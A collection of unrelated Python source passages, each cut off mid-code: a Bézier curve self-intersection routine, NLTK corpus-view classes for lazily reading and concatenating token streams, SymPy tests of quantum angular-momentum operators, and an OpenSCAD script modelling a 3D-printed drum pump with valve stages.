def print(self):
print('Graph: %d nodes, %d edges' % (len(self.nodes), len(self.edges)))
for loc, node in self.nodes.items():
print(' Node@%s: %s' % (loc, node))
for edge in self.edges:
print(' ', repr(edge))
class CpBool(object):
def __init__(self, cp: ControlPoint, node: Optional[BziNode]):
self.cp = cp
self.node = node
def __str__(self):
return '%s:%s' % (self.cp.round(2), self.node)
def __repr__(self):
return str(self)
@staticmethod
def array_print(cpbs: List['CpBool']):
if cpbs:
print('\n'.join([' cpbs: ['] + [' %s,' % cpb for cpb in cpbs] + [']']))
def bez_self_intersect(orig_cps: List[ControlPoint], debug=False) -> List[List[ControlPoint]]:
"""Return list of replacement curves or [] if no self intersections"""
# all_curves: list of all curve segments and their intersection t-values/xy-values
all_curves: List[Tuple[ControlPoint, ControlPoint, List[Tuple[float, Tuple[float, float]]]]] = []
for cpa, cpb in iter_rotate(orig_cps):
left, middle, right = bez_split(cpa, cpb)
intersection = bez_intersect_new(left, middle, middle, right)
if intersection:
# This segment self-intersects, so split it before adding to all_curves
all_curves.extend([(left, middle, []), (middle, right, [])])
else:
all_curves.append((cpa, cpb, []))
# bz_plot_curves([[a, b] for a, b, c in all_curves])
found_ixs = False # found any intersections?
for a, | |
self._stream is not None:
self._stream.close()
self._stream = None
def __len__(self):
if self._len is None:
# iterate_from() sets self._len when it reaches the end
# of the file:
for tok in self.iterate_from(self._toknum[-1]): pass
return self._len
def __getitem__(self, i):
if isinstance(i, slice):
start, stop = slice_bounds(self, i)
# Check if it's in the cache.
offset = self._cache[0]
if offset <= start and stop <= self._cache[1]:
return self._cache[2][start-offset:stop-offset]
# Construct & return the result.
return LazySubsequence(self, start, stop)
else:
# Handle negative indices
if i < 0: i += len(self)
if i < 0: raise IndexError('index out of range')
# Check if it's in the cache.
offset = self._cache[0]
if offset <= i < self._cache[1]:
return self._cache[2][i-offset]
# Use iterate_from to extract it.
try:
return self.iterate_from(i).next()
except StopIteration:
raise IndexError('index out of range')
# If we wanted to be thread-safe, then this method would need to
# do some locking.
def iterate_from(self, start_tok):
# Start by feeding from the cache, if possible.
if self._cache[0] <= start_tok < self._cache[1]:
for tok in self._cache[2][start_tok-self._cache[0]:]:
yield tok
start_tok += 1
# Decide where in the file we should start. If `start` is in
# our mapping, then we can jump straight to the correct block;
# otherwise, start at the last block we've processed.
if start_tok < self._toknum[-1]:
block_index = bisect.bisect_right(self._toknum, start_tok)-1
toknum = self._toknum[block_index]
filepos = self._filepos[block_index]
else:
block_index = len(self._toknum)-1
toknum = self._toknum[-1]
filepos = self._filepos[-1]
# Open the stream, if it's not open already.
if self._stream is None:
self._open()
# Each iteration through this loop, we read a single block
# from the stream.
while filepos < self._eofpos:
# Read the next block.
self._stream.seek(filepos)
self._current_toknum = toknum
self._current_blocknum = block_index
tokens = self.read_block(self._stream)
assert isinstance(tokens, (tuple, list, AbstractLazySequence)), (
'block reader %s() should return list or tuple.' %
self.read_block.__name__)
num_toks = len(tokens)
new_filepos = self._stream.tell()
assert new_filepos > filepos, (
'block reader %s() should consume at least 1 byte (filepos=%d)' %
(self.read_block.__name__, filepos))
# Update our cache.
self._cache = (toknum, toknum+num_toks, list(tokens))
# Update our mapping.
assert toknum <= self._toknum[-1]
if num_toks > 0:
block_index += 1
if toknum == self._toknum[-1]:
assert new_filepos > self._filepos[-1] # monotonic!
self._filepos.append(new_filepos)
self._toknum.append(toknum+num_toks)
else:
# Check for consistency:
assert new_filepos == self._filepos[block_index], (
'inconsistent block reader (num chars read)')
assert toknum+num_toks == self._toknum[block_index], (
'inconsistent block reader (num tokens returned)')
# If we reached the end of the file, then update self._len
if new_filepos == self._eofpos:
self._len = toknum + num_toks
# Generate the tokens in this block (but skip any tokens
# before start_tok). Note that between yields, our state
# may be modified.
for tok in tokens[max(0, start_tok-toknum):]:
yield tok
# If we're at the end of the file, then we're done.
assert new_filepos <= self._eofpos
if new_filepos == self._eofpos:
break
# Update our indices
toknum += num_toks
filepos = new_filepos
# If we reach this point, then we should know our length.
assert self._len is not None
# Use concat for these, so we can use a ConcatenatedCorpusView
# when possible.
def __add__(self, other):
return concat([self, other])
def __radd__(self, other):
return concat([other, self])
def __mul__(self, count):
return concat([self] * count)
def __rmul__(self, count):
return concat([self] * count)
class ConcatenatedCorpusView(AbstractLazySequence):
"""
A 'view' of a corpus file that joins together one or more
``StreamBackedCorpusViews<StreamBackedCorpusView>``. At most
one file handle is left open at any time.
"""
def __init__(self, corpus_views):
self._pieces = corpus_views
"""A list of the corpus subviews that make up this
concatenation."""
self._offsets = [0]
"""A list of offsets, indicating the index at which each
subview begins. In particular::
offsets[i] = sum([len(p) for p in pieces[:i]])"""
self._open_piece = None
"""The most recently accessed corpus subview (or None).
Before a new subview is accessed, this subview will be closed."""
def __len__(self):
if len(self._offsets) <= len(self._pieces):
# Iterate to the end of the corpus.
for tok in self.iterate_from(self._offsets[-1]): pass
return self._offsets[-1]
def close(self):
for piece in self._pieces:
piece.close()
def iterate_from(self, start_tok):
piecenum = bisect.bisect_right(self._offsets, start_tok)-1
while piecenum < len(self._pieces):
offset = self._offsets[piecenum]
piece = self._pieces[piecenum]
# If we've got another piece open, close it first.
if self._open_piece is not piece:
if self._open_piece is not None:
self._open_piece.close()
self._open_piece = piece
# Get everything we can from this piece.
for tok in piece.iterate_from(max(0, start_tok-offset)):
yield tok
# Update the offset table.
if piecenum+1 == len(self._offsets):
self._offsets.append(self._offsets[-1] + len(piece))
# Move on to the next piece.
piecenum += 1
def concat(docs):
"""
Concatenate together the contents of multiple documents from a
single corpus, using an appropriate concatenation function. This
utility function is used by corpus readers when the user requests
more than one document at a time.
"""
if len(docs) == 1:
return docs[0]
if len(docs) == 0:
raise ValueError('concat() expects at least one object!')
types = set([d.__class__ for d in docs])
# If they're all strings, use string concatenation.
if types.issubset([str, unicode, basestring]):
return reduce((lambda a,b:a+b), docs, '')
# If they're all corpus views, then use ConcatenatedCorpusView.
for typ in types:
if not issubclass(typ, (StreamBackedCorpusView,
ConcatenatedCorpusView)):
break
else:
return ConcatenatedCorpusView(docs)
# If they're all lazy sequences, use a lazy concatenation
for typ in types:
if not issubclass(typ, AbstractLazySequence):
break
else:
return LazyConcatenation(docs)
# Otherwise, see what we can do:
if len(types) == 1:
typ = list(types)[0]
if issubclass(typ, list):
return reduce((lambda a,b:a+b), docs, [])
if issubclass(typ, tuple):
return reduce((lambda a,b:a+b), docs, ())
if ElementTree.iselement(typ):
xmltree = ElementTree.Element('documents')
for doc in docs: xmltree.append(doc)
return xmltree
# No method found!
raise ValueError("Don't know how to concatenate types: %r" % types)
######################################################################
#{ Corpus View for Pickled Sequences
######################################################################
class PickleCorpusView(StreamBackedCorpusView):
"""
A stream backed corpus view for corpus files that consist of
sequences of serialized Python objects (serialized using
``pickle.dump``). One use case for this class is to store the
result of running feature detection on a corpus to disk. This can
be useful when performing feature detection is expensive (so we
don't want to repeat it); but the corpus is too large to store in
memory. The following example illustrates this technique:
.. doctest::
:options: +SKIP
>>> from nltk.corpus.reader.util import PickleCorpusView
>>> from nltk.util import LazyMap
>>> feature_corpus = LazyMap(detect_features, corpus)
>>> PickleCorpusView.write(feature_corpus, some_fileid)
>>> pcv = PickleCorpusView(some_fileid)
"""
BLOCK_SIZE = 100
PROTOCOL = -1
def __init__(self, fileid, delete_on_gc=False):
"""
Create a new corpus view that reads the pickle corpus
``fileid``.
:param delete_on_gc: If true, then ``fileid`` will be deleted
whenever this object gets garbage-collected.
"""
self._delete_on_gc = delete_on_gc
StreamBackedCorpusView.__init__(self, fileid)
def read_block(self, stream):
result = []
for i in range(self.BLOCK_SIZE):
try: result.append(pickle.load(stream))
except EOFError: break
return result
def __del__(self):
"""
If ``delete_on_gc`` was set to true when this
``PickleCorpusView`` was created, then delete the corpus view's
fileid. (This method is called whenever a
``PickledCorpusView`` is garbage-collected.
"""
if getattr(self, '_delete_on_gc'):
if os.path.exists(self._fileid):
try: os.remove(self._fileid)
except (OSError, IOError): pass
self.__dict__.clear() # make the garbage collector's job easier
@classmethod
def write(cls, sequence, output_file):
if isinstance(output_file, basestring):
output_file = open(output_file, 'wb')
for item in sequence:
pickle.dump(item, output_file, cls.PROTOCOL)
@classmethod
def cache_to_tempfile(cls, sequence, delete_on_gc=True):
"""
Write the given sequence to a temporary file as a pickle
corpus; and then return a ``PickleCorpusView`` view for that
temporary corpus file.
:param delete_on_gc: If true, then the temporary file will be
deleted whenever this object gets garbage-collected.
"""
try:
fd, output_file_name = tempfile.mkstemp('.pcv', 'nltk-')
output_file = os.fdopen(fd, 'wb')
cls.write(sequence, output_file)
output_file.close()
return PickleCorpusView(output_file_name, delete_on_gc)
except (OSError, IOError), e:
raise ValueError('Error while creating temp file: %s' % e)
######################################################################
#{ Block Readers
######################################################################
def read_whitespace_block(stream):
toks = []
for i in range(20): # Read 20 lines at a time.
toks.extend(stream.readline().split())
return toks
def read_wordpunct_block(stream):
toks = []
for i in range(20): # Read 20 lines at a time.
toks.extend(wordpunct_tokenize(stream.readline()))
return toks
def read_line_block(stream):
toks = []
for i in range(20):
line = stream.readline()
if not line: return toks
toks.append(line.rstrip('\n'))
return toks
def read_blankline_block(stream):
s = ''
while True:
line = stream.readline()
# End of file:
if not line:
if | |
1, 1) == 2*hbar**2
# Normal operators, normal states
# Numerical
assert qapply(J2*JxKet(1, 1)) == 2*hbar**2*JxKet(1, 1)
assert qapply(J2*JyKet(1, 1)) == 2*hbar**2*JyKet(1, 1)
assert qapply(J2*JzKet(1, 1)) == 2*hbar**2*JzKet(1, 1)
# Symbolic
assert qapply(J2*JxKet(j, m)) == \
hbar**2*j**2*JxKet(j, m) + hbar**2*j*JxKet(j, m)
assert qapply(J2*JyKet(j, m)) == \
hbar**2*j**2*JyKet(j, m) + hbar**2*j*JyKet(j, m)
assert qapply(J2*JzKet(j, m)) == \
hbar**2*j**2*JzKet(j, m) + hbar**2*j*JzKet(j, m)
# Normal operators, coupled states
# Numerical
assert qapply(J2*JxKetCoupled(1, 1, (1, 1))) == \
2*hbar**2*JxKetCoupled(1, 1, (1, 1))
assert qapply(J2*JyKetCoupled(1, 1, (1, 1))) == \
2*hbar**2*JyKetCoupled(1, 1, (1, 1))
assert qapply(J2*JzKetCoupled(1, 1, (1, 1))) == \
2*hbar**2*JzKetCoupled(1, 1, (1, 1))
# Symbolic
assert qapply(J2*JxKetCoupled(j, m, (j1, j2))) == \
hbar**2*j**2*JxKetCoupled(j, m, (j1, j2)) + \
hbar**2*j*JxKetCoupled(j, m, (j1, j2))
assert qapply(J2*JyKetCoupled(j, m, (j1, j2))) == \
hbar**2*j**2*JyKetCoupled(j, m, (j1, j2)) + \
hbar**2*j*JyKetCoupled(j, m, (j1, j2))
assert qapply(J2*JzKetCoupled(j, m, (j1, j2))) == \
hbar**2*j**2*JzKetCoupled(j, m, (j1, j2)) + \
hbar**2*j*JzKetCoupled(j, m, (j1, j2))
# Uncoupled operators, uncoupled states
# Numerical
assert qapply(TensorProduct(J2, 1)*TensorProduct(JxKet(1, 1), JxKet(1, -1))) == \
2*hbar**2*TensorProduct(JxKet(1, 1), JxKet(1, -1))
assert qapply(TensorProduct(1, J2)*TensorProduct(JxKet(1, 1), JxKet(1, -1))) == \
2*hbar**2*TensorProduct(JxKet(1, 1), JxKet(1, -1))
assert qapply(TensorProduct(J2, 1)*TensorProduct(JyKet(1, 1), JyKet(1, -1))) == \
2*hbar**2*TensorProduct(JyKet(1, 1), JyKet(1, -1))
assert qapply(TensorProduct(1, J2)*TensorProduct(JyKet(1, 1), JyKet(1, -1))) == \
2*hbar**2*TensorProduct(JyKet(1, 1), JyKet(1, -1))
assert qapply(TensorProduct(J2, 1)*TensorProduct(JzKet(1, 1), JzKet(1, -1))) == \
2*hbar**2*TensorProduct(JzKet(1, 1), JzKet(1, -1))
assert qapply(TensorProduct(1, J2)*TensorProduct(JzKet(1, 1), JzKet(1, -1))) == \
2*hbar**2*TensorProduct(JzKet(1, 1), JzKet(1, -1))
# Symbolic
assert qapply(TensorProduct(J2, 1)*TensorProduct(JxKet(j1, m1), JxKet(j2, m2))) == \
hbar**2*j1**2*TensorProduct(JxKet(j1, m1), JxKet(j2, m2)) + \
hbar**2*j1*TensorProduct(JxKet(j1, m1), JxKet(j2, m2))
assert qapply(TensorProduct(1, J2)*TensorProduct(JxKet(j1, m1), JxKet(j2, m2))) == \
hbar**2*j2**2*TensorProduct(JxKet(j1, m1), JxKet(j2, m2)) + \
hbar**2*j2*TensorProduct(JxKet(j1, m1), JxKet(j2, m2))
assert qapply(TensorProduct(J2, 1)*TensorProduct(JyKet(j1, m1), JyKet(j2, m2))) == \
hbar**2*j1**2*TensorProduct(JyKet(j1, m1), JyKet(j2, m2)) + \
hbar**2*j1*TensorProduct(JyKet(j1, m1), JyKet(j2, m2))
assert qapply(TensorProduct(1, J2)*TensorProduct(JyKet(j1, m1), JyKet(j2, m2))) == \
hbar**2*j2**2*TensorProduct(JyKet(j1, m1), JyKet(j2, m2)) + \
hbar**2*j2*TensorProduct(JyKet(j1, m1), JyKet(j2, m2))
assert qapply(TensorProduct(J2, 1)*TensorProduct(JzKet(j1, m1), JzKet(j2, m2))) == \
hbar**2*j1**2*TensorProduct(JzKet(j1, m1), JzKet(j2, m2)) + \
hbar**2*j1*TensorProduct(JzKet(j1, m1), JzKet(j2, m2))
assert qapply(TensorProduct(1, J2)*TensorProduct(JzKet(j1, m1), JzKet(j2, m2))) == \
hbar**2*j2**2*TensorProduct(JzKet(j1, m1), JzKet(j2, m2)) + \
hbar**2*j2*TensorProduct(JzKet(j1, m1), JzKet(j2, m2))
def test_jx():
assert Commutator(Jx, Jz).doit() == -I*hbar*Jy
assert Jx.rewrite('plusminus') == (Jminus + Jplus)/2
assert represent(Jx, basis=Jz, j=1) == (
represent(Jplus, basis=Jz, j=1) + represent(Jminus, basis=Jz, j=1))/2
# Normal operators, normal states
# Numerical
assert qapply(Jx*JxKet(1, 1)) == hbar*JxKet(1, 1)
assert qapply(Jx*JyKet(1, 1)) == hbar*JyKet(1, 1)
assert qapply(Jx*JzKet(1, 1)) == sqrt(2)*hbar*JzKet(1, 0)/2
# Symbolic
assert qapply(Jx*JxKet(j, m)) == hbar*m*JxKet(j, m)
assert qapply(Jx*JyKet(j, m)) == \
Sum(hbar*mi*WignerD(j, mi, m, 0, 0, pi/2)*Sum(WignerD(j,
mi1, mi, 3*pi/2, 0, 0)*JyKet(j, mi1), (mi1, -j, j)), (mi, -j, j))
assert qapply(Jx*JzKet(j, m)) == \
hbar*sqrt(j**2 + j - m**2 - m)*JzKet(j, m + 1)/2 + hbar*sqrt(j**2 +
j - m**2 + m)*JzKet(j, m - 1)/2
# Normal operators, coupled states
# Numerical
assert qapply(Jx*JxKetCoupled(1, 1, (1, 1))) == \
hbar*JxKetCoupled(1, 1, (1, 1))
assert qapply(Jx*JyKetCoupled(1, 1, (1, 1))) == \
hbar*JyKetCoupled(1, 1, (1, 1))
assert qapply(Jx*JzKetCoupled(1, 1, (1, 1))) == \
sqrt(2)*hbar*JzKetCoupled(1, 0, (1, 1))/2
# Symbolic
assert qapply(Jx*JxKetCoupled(j, m, (j1, j2))) == \
hbar*m*JxKetCoupled(j, m, (j1, j2))
assert qapply(Jx*JyKetCoupled(j, m, (j1, j2))) == \
Sum(hbar*mi*WignerD(j, mi, m, 0, 0, pi/2)*Sum(WignerD(j, mi1, mi, 3*pi/2, 0, 0)*JyKetCoupled(j, mi1, (j1, j2)), (mi1, -j, j)), (mi, -j, j))
assert qapply(Jx*JzKetCoupled(j, m, (j1, j2))) == \
hbar*sqrt(j**2 + j - m**2 - m)*JzKetCoupled(j, m + 1, (j1, j2))/2 + \
hbar*sqrt(j**2 + j - m**2 + m)*JzKetCoupled(j, m - 1, (j1, j2))/2
# Normal operators, uncoupled states
# Numerical
assert qapply(Jx*TensorProduct(JxKet(1, 1), JxKet(1, 1))) == \
2*hbar*TensorProduct(JxKet(1, 1), JxKet(1, 1))
assert qapply(Jx*TensorProduct(JyKet(1, 1), JyKet(1, 1))) == \
hbar*TensorProduct(JyKet(1, 1), JyKet(1, 1)) + \
hbar*TensorProduct(JyKet(1, 1), JyKet(1, 1))
assert qapply(Jx*TensorProduct(JzKet(1, 1), JzKet(1, 1))) == \
sqrt(2)*hbar*TensorProduct(JzKet(1, 1), JzKet(1, 0))/2 + \
sqrt(2)*hbar*TensorProduct(JzKet(1, 0), JzKet(1, 1))/2
assert qapply(Jx*TensorProduct(JxKet(1, 1), JxKet(1, -1))) == 0
# Symbolic
assert qapply(Jx*TensorProduct(JxKet(j1, m1), JxKet(j2, m2))) == \
hbar*m1*TensorProduct(JxKet(j1, m1), JxKet(j2, m2)) + \
hbar*m2*TensorProduct(JxKet(j1, m1), JxKet(j2, m2))
assert qapply(Jx*TensorProduct(JyKet(j1, m1), JyKet(j2, m2))) == \
TensorProduct(Sum(hbar*mi*WignerD(j1, mi, m1, 0, 0, pi/2)*Sum(WignerD(j1, mi1, mi, 3*pi/2, 0, 0)*JyKet(j1, mi1), (mi1, -j1, j1)), (mi, -j1, j1)), JyKet(j2, m2)) + \
TensorProduct(JyKet(j1, m1), Sum(hbar*mi*WignerD(j2, mi, m2, 0, 0, pi/2)*Sum(WignerD(j2, mi1, mi, 3*pi/2, 0, 0)*JyKet(j2, mi1), (mi1, -j2, j2)), (mi, -j2, j2)))
assert qapply(Jx*TensorProduct(JzKet(j1, m1), JzKet(j2, m2))) == \
hbar*sqrt(j1**2 + j1 - m1**2 - m1)*TensorProduct(JzKet(j1, m1 + 1), JzKet(j2, m2))/2 + \
hbar*sqrt(j1**2 + j1 - m1**2 + m1)*TensorProduct(JzKet(j1, m1 - 1), JzKet(j2, m2))/2 + \
hbar*sqrt(j2**2 + j2 - m2**2 - m2)*TensorProduct(JzKet(j1, m1), JzKet(j2, m2 + 1))/2 + \
hbar*sqrt(
j2**2 + j2 - m2**2 + m2)*TensorProduct(JzKet(j1, m1), JzKet(j2, m2 - 1))/2
# Uncoupled operators, uncoupled states
# Numerical
assert qapply(TensorProduct(Jx, 1)*TensorProduct(JxKet(1, 1), JxKet(1, -1))) == \
hbar*TensorProduct(JxKet(1, 1), JxKet(1, -1))
assert qapply(TensorProduct(1, Jx)*TensorProduct(JxKet(1, 1), JxKet(1, -1))) == \
-hbar*TensorProduct(JxKet(1, 1), JxKet(1, -1))
assert qapply(TensorProduct(Jx, 1)*TensorProduct(JyKet(1, 1), JyKet(1, -1))) == \
hbar*TensorProduct(JyKet(1, 1), JyKet(1, -1))
assert qapply(TensorProduct(1, Jx)*TensorProduct(JyKet(1, 1), JyKet(1, -1))) == \
-hbar*TensorProduct(JyKet(1, 1), JyKet(1, -1))
assert qapply(TensorProduct(Jx, 1)*TensorProduct(JzKet(1, 1), JzKet(1, -1))) == \
hbar*sqrt(2)*TensorProduct(JzKet(1, 0), JzKet(1, -1))/2
assert qapply(TensorProduct(1, Jx)*TensorProduct(JzKet(1, 1), JzKet(1, -1))) == \
hbar*sqrt(2)*TensorProduct(JzKet(1, 1), JzKet(1, 0))/2
# Symbolic
assert qapply(TensorProduct(Jx, 1)*TensorProduct(JxKet(j1, m1), JxKet(j2, m2))) == \
hbar*m1*TensorProduct(JxKet(j1, m1), JxKet(j2, m2))
assert qapply(TensorProduct(1, Jx)*TensorProduct(JxKet(j1, m1), JxKet(j2, m2))) == \
hbar*m2*TensorProduct(JxKet(j1, m1), JxKet(j2, m2))
assert qapply(TensorProduct(Jx, 1)*TensorProduct(JyKet(j1, m1), JyKet(j2, m2))) == \
TensorProduct(Sum(hbar*mi*WignerD(j1, mi, m1, 0, 0, pi/2) * Sum(WignerD(j1, mi1, mi, 3*pi/2, 0, 0)*JyKet(j1, mi1), (mi1, -j1, j1)), (mi, -j1, j1)), JyKet(j2, m2))
assert qapply(TensorProduct(1, Jx)*TensorProduct(JyKet(j1, m1), JyKet(j2, m2))) == \
TensorProduct(JyKet(j1, m1), Sum(hbar*mi*WignerD(j2, mi, m2, 0, 0, pi/2) * Sum(WignerD(j2, mi1, mi, 3*pi/2, 0, 0)*JyKet(j2, mi1), (mi1, -j2, j2)), (mi, -j2, j2)))
assert qapply(TensorProduct(Jx, 1)*TensorProduct(JzKet(j1, m1), JzKet(j2, m2))) == \
hbar*sqrt(j1**2 + j1 - m1**2 - m1)*TensorProduct(JzKet(j1, m1 + 1), JzKet(j2, m2))/2 + \
hbar*sqrt(
j1**2 + j1 - m1**2 + m1)*TensorProduct(JzKet(j1, m1 - 1), JzKet(j2, m2))/2
assert qapply(TensorProduct(1, Jx)*TensorProduct(JzKet(j1, m1), JzKet(j2, m2))) == \
hbar*sqrt(j2**2 + j2 - m2**2 - m2)*TensorProduct(JzKet(j1, m1), JzKet(j2, m2 + 1))/2 + \
hbar*sqrt(
j2**2 + j2 - m2**2 + m2)*TensorProduct(JzKet(j1, m1), JzKet(j2, m2 - 1))/2
def test_jy():
assert Commutator(Jy, Jz).doit() == I*hbar*Jx
assert Jy.rewrite('plusminus') == (Jplus - Jminus)/(2*I)
assert represent(Jy, basis=Jz) == (
represent(Jplus, basis=Jz) - represent(Jminus, basis=Jz))/(2*I)
# Normal operators, normal states
# Numerical
assert qapply(Jy*JxKet(1, 1)) == hbar*JxKet(1, 1)
assert qapply(Jy*JyKet(1, 1)) == hbar*JyKet(1, 1)
assert qapply(Jy*JzKet(1, 1)) == sqrt(2)*hbar*I*JzKet(1, 0)/2
# Symbolic
assert qapply(Jy*JxKet(j, m)) == \
Sum(hbar*mi*WignerD(j, mi, m, 3*pi/2, 0, 0)*Sum(WignerD(
j, mi1, mi, 0, 0, pi/2)*JxKet(j, mi1), (mi1, -j, j)), (mi, -j, j))
assert qapply(Jy*JyKet(j, m)) == hbar*m*JyKet(j, m)
assert qapply(Jy*JzKet(j, m)) == \
-hbar*I*sqrt(j**2 + j - m**2 - m)*JzKet(
j, m + 1)/2 + hbar*I*sqrt(j**2 + j - m**2 + m)*JzKet(j, m - 1)/2
# Normal operators, coupled states
# Numerical
assert qapply(Jy*JxKetCoupled(1, 1, (1, 1))) == \
hbar*JxKetCoupled(1, 1, (1, 1))
assert qapply(Jy*JyKetCoupled(1, 1, (1, 1))) == \
hbar*JyKetCoupled(1, 1, (1, 1))
assert qapply(Jy*JzKetCoupled(1, 1, (1, 1))) == \
sqrt(2)*hbar*I*JzKetCoupled(1, 0, (1, 1))/2
# Symbolic
assert qapply(Jy*JxKetCoupled(j, m, (j1, j2))) == \
Sum(hbar*mi*WignerD(j, mi, m, 3*pi/2, 0, 0)*Sum(WignerD(j, mi1, mi, 0, 0, pi/2)*JxKetCoupled(j, mi1, (j1, j2)), (mi1, -j, j)), (mi, -j, j))
assert qapply(Jy*JyKetCoupled(j, m, (j1, j2))) == \
hbar*m*JyKetCoupled(j, m, (j1, j2))
assert qapply(Jy*JzKetCoupled(j, m, (j1, j2))) == \
-hbar*I*sqrt(j**2 + j - m**2 - m)*JzKetCoupled(j, m + 1, (j1, j2))/2 + \
hbar*I*sqrt(j**2 + j - m**2 + m)*JzKetCoupled(j, m - 1, (j1, j2))/2
# Normal operators, uncoupled states
# Numerical
assert qapply(Jy*TensorProduct(JxKet(1, 1), JxKet(1, 1))) == \
hbar*TensorProduct(JxKet(1, 1), JxKet(1, 1)) + \
hbar*TensorProduct(JxKet(1, 1), JxKet(1, 1))
assert qapply(Jy*TensorProduct(JyKet(1, 1), JyKet(1, 1))) == \
2*hbar*TensorProduct(JyKet(1, 1), JyKet(1, 1))
assert qapply(Jy*TensorProduct(JzKet(1, 1), JzKet(1, 1))) == \
sqrt(2)*hbar*I*TensorProduct(JzKet(1, 1), JzKet(1, 0))/2 + \
sqrt(2)*hbar*I*TensorProduct(JzKet(1, 0), JzKet(1, 1))/2
assert qapply(Jy*TensorProduct(JyKet(1, 1), JyKet(1, -1))) == 0
# Symbolic
assert qapply(Jy*TensorProduct(JxKet(j1, m1), JxKet(j2, m2))) == \
TensorProduct(JxKet(j1, m1), Sum(hbar*mi*WignerD(j2, mi, m2, 3*pi/2, | |
<filename>examples/drum_pump.py
#!/usr/bin/env python
import math
from scad import *
class DrumPumpObject(SCAD_Object):
# pump body
pump_body_inner_radius = 15
pump_body_thickness = 4
pump_body_radius = pump_body_inner_radius + pump_body_thickness
pump_body_length = 35
pump_body_color = "orange"
#
screw_wall_dia = 15
screw_wall_zoffset = 3
nut_clearance = 8
nut_height = 2.5
endcap_length = 4
#
#inlet_port_radius = inch2mm(5/16.0)
#outlet_port_radius = inch2mm(1/8.0)
#inlet_port_radius = 5
#outlet_port_radius = 3
inlet_port_radius = 10
outlet_port_radius = 10
# block
block_width = 30
block_height = pump_body_thickness
def body_transform(self, body):
return body
def posts(self, screw_post, dia, x_offset=0, y_offset=0, dia2=0, zoffset=0, h=None, width=None, height=None):
r = dia / 2.0
width = width or self.stage_body_width / 2.0 - r
height = height or self.stage_body_length / 2.0 - r
posts = [ [1, 1], [1, -1], [-1, 1], [-1, -1] ]
res = []
for (wp, hp) in posts:
post = screw_post
args = {}
if x_offset:
args.update({'x': wp * x_offset})
if y_offset:
args.update({'y': hp * y_offset})
if args:
post = Translate(**args)(post)
args = {'x': width * wp, 'y': height * hp, 'z': zoffset}
post = Translate(**args)(post)
post = Rotate(x=90)(post)
res.append(post)
posts = Union()(*res)
posts = self.body_transform(posts)
return posts
def screw_posts(self, dia, x_offset=0, y_offset=None, dia2=0, zoffset=0, h=None):
if y_offset == None:
y_offset = x_offset
dia = dia
post = Cylinder(d=dia, h=h, center=True)
if dia2:
post = Pipe(oD=dia2, iD=dia, h=h, center=True)
return self.posts(post, dia, x_offset=x_offset, y_offset=y_offset, dia2=dia2, zoffset=zoffset, h=h)
@property
def pump_body(self):
return DrumPump(**self.__dict__)
@property
def endcap_open(self):
ec = EndCap(**self.__dict__)
ec = Difference()(ec, Translate(z=self.pump_body_length / 2.0)(self.pump_body.outer_body))
return ec
@property
def endcap_closed(self):
ec = EndCap(closed=True, **self.__dict__)
ec = Difference()(ec, Translate(z=self.pump_body_length / 2.0)(self.pump_body.outer_body))
#spring = SpringPedestal()
#pedestal = spring.spring_side
#pedestal = Translate(z=spring.pedestal_length / 2.0)(pedestal)
#ec = Union()(pedestal, ec)
return ec
@property
def brace(self):
return EndCap(**self.__dict__)
@property
def inlet_valve_stage(self):
kw = self.__dict__.copy()
kw["mode"] = "inlet"
return ValveStage(**kw)
@property
def outlet_valve_stage(self):
kw = self.__dict__.copy()
kw["mode"] = "outlet"
return ValveStage(**kw)
@property
def inlet_valve_head(self):
kw = self.__dict__.copy()
kw["mode"] = "inlet"
return ValveHead(**kw)
@property
def outlet_valve_head(self):
kw = self.__dict__.copy()
kw["mode"] = "outlet"
return ValveHead(**kw)
@property
def inlet_valve_flap(self):
kw = self.__dict__.copy()
kw["mode"] = "inlet"
return ValveFlap(**kw)
@property
def outlet_valve_flap(self):
kw = self.__dict__.copy()
kw["mode"] = "outlet"
return ValveFlap(**kw)
@property
def outlet_port(self):
outlet_port = Cylinder(h=self.pump_body_thickness * 4.0, r=self.outlet_port_radius, center=True)
outlet_port = Rotate(x=90)(outlet_port)
outlet_port = Translate(y=self.pump_body_radius - self.pump_body_thickness / 2.0)(outlet_port)
return outlet_port
@property
def inlet_port(self):
inlet_port = Cylinder(h=self.pump_body_thickness * 4.0, r=self.inlet_port_radius, center=True)
inlet_port = Rotate(x=90)(inlet_port)
inlet_port = Translate(y=(self.pump_body_radius - self.pump_body_thickness / 2.0))(inlet_port)
return inlet_port
class ValveBaseObject(DrumPumpObject):
mode = "inlet"
def render_scad(self, *args, **kw):
if self.mode == "inlet":
return self.inlet.render_scad()
elif self.mode == "outlet":
return self.outlet.render_scad()
else:
raise RuntimeError, "Unknown Valve mode: %s" % mode
@property
def inlet(self):
pass
@property
def outlet(self):
pass
class ValveStage(ValveBaseObject):
valve_overlap = 3
stage_thickness = 2.0
#stage_inner_radius = DrumPumpObject.inlet_port_radius + valve_overlap
stage_inner_radius = DrumPumpObject.inlet_port_radius
stage_radius = stage_inner_radius + stage_thickness
#stage_length = DrumPumpObject.pump_body_length * .30
stage_length = stage_inner_radius + 2
# lugs
lug_radius = stage_radius + 1.5
lug_length = 5
lug_ring_radius = ValveBaseObject.pump_body_length / 2.0
lug_ring_inner_radius = stage_radius
@property
def lugs(self):
r = ValveHead.inlet_breech_radius + 2.0
lugs = LugWreath(wreath_radius=self.lug_radius,
lug_length=self.lug_length,
ring_radius=self.lug_ring_radius + 2.5,
ring_inner_radius=self.lug_ring_inner_radius,
m3_nuts_top=True)
return lugs
@property
def stage(self):
stage_length = self.stage_length + self.pump_body_thickness
lugs = self.lugs
lugs = Translate(z=(stage_length - ValveHead.lug_length) / -2.0)(lugs)
chamfer = Chamfer(r=self.stage_inner_radius, chamfer=2, invert=True, center=True)
chamfer = Translate(z=stage_length / -2.0)(chamfer)
stage = Pipe(ir=self.stage_inner_radius, oR=self.stage_radius, h=stage_length, center=True, padding=1.2)
stage = Difference()(stage, chamfer)
stage = Rotate(x=90)(stage, lugs)
#stage = Rotate(x=90)(stage)
stage = Translate(y=self.pump_body_radius + stage_length / 2.0 - self.pump_body_thickness)(stage)
return stage
@property
def _inlet(self):
stage = Color(colorname="steelblue")(self.stage)
stage = Difference()(stage, self.pump_body.outer_body, self.inlet_port)
return stage
@property
def _outlet(self):
stage = Color(colorname="salmon")(self.stage)
stage = Difference()(stage, self.pump_body.outer_body, self.outlet_port)
return stage
@property
def _inlet(self):
stage = Color(colorname="steelblue")(self.stage)
base = Cylinder(r=self.stage_inner_radius, h=2, center=True)
base = Rotate(x=90)(base)
base = Translate(y=self.pump_body_inner_radius + 2)(base)
#base = Difference()(base, self.valve_holes("inlet"))
stage = Union()(stage, base)
